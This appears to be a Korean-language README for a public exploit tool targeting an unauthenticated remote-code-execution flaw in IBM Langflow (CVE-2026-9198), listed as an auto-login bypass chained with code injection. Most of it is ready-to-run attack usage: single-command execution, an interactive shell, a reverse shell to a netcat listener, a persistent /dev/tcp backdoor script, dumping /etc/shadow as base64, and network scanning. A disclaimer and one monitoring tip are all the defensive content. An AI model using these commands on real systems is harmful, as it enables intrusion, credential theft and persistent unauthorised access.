
IBM Langflow 자동 로그인 우회를 통한 인증되지 않은 RCE
CVE-2026-9198는 IBM Langflow OSS에서 발생하는 치명적인 무인증 원격 코드 실행(RCE) 취약점입니다. 이 익스플로잇은 두 가지 취약점을 연쇄적으로 이용합니다:
/api/v1/validate/code 엔드포인트의 코드 인젝션⚠️ 경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 무단 사용은 불법입니다.
pip 패키지 관리자git clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
또는 모든 의존성을 한 번에 설치:
pip install -r requirements.txt
python CVE-2026-9198.py --help
모든 사용 가능한 옵션이 포함된 도움말 메뉴가 표시됩니다.
대상에서 단일 명령을 실행합니다:
python CVE-2026-9198.py -t <target_ip> -c "id"
예시:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
동적 프롬프트가 포함된 대화형 셸을 실행합니다:
python CVE-2026-9198.py -t <target_ip> --shell
기능:
user@host 및 현재 디렉터리를 표시하는 동적 프롬프트cd 명령예시 세션:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
리스너로 리버스 셸 페이로드를 전송합니다:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
예시:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Langflow가 기본 포트가 아닌 다른 포트에서 실행 중인 경우:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
예시:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
자동 로그인 프로세스를 건너뛰고 기존 토큰을 사용합니다:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
느린 네트워크에 맞게 HTTP 타임아웃을 조정합니다:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
이 취약점으로부터 보호하려면:
/api/v1/auto_login 및 /api/v1/validate/code에 대한 비정상적인 API 요청을 모니터링하세요이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 소프트웨어로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 사용자는 관련 법률 및 규정을 준수할 책임이 전적으로 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
0xgh057r3c0n
기여는 언제나 환영합니다! 자유롭게 Pull Request를 제출해 주세요.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)이 도구가 유용하다고 생각되시면 GitHub에서 ⭐를 눌러 주세요!
| 인자 | 설명 | 필수 | 기본값 |
|---|
-t, --target | 대상 호스트/IP 또는 전체 URL | ✅ 예 | - |
-p, --port | Langflow 포트 | ❌ 아니요 | 7860 |
-c, --cmd | 단일 명령 실행 | ❌ 아니요 | "id" |
--shell | 대화형 유사 셸 모드 | ❌ 아니요 | False |
--lhost | 리버스 셸 리스너 IP | ❌ 아니요 | - |
--lport | 리버스 셸 리스너 포트 | ❌ 아니요 | 4444 |
-k, --token | 제공된 베어러 토큰 사용 | ❌ 아니요 | - |
--timeout | HTTP 타임아웃(초) | ❌ 아니요 | 20 |
--no-banner | 배너 숨기기 | ❌ 아니요 | False |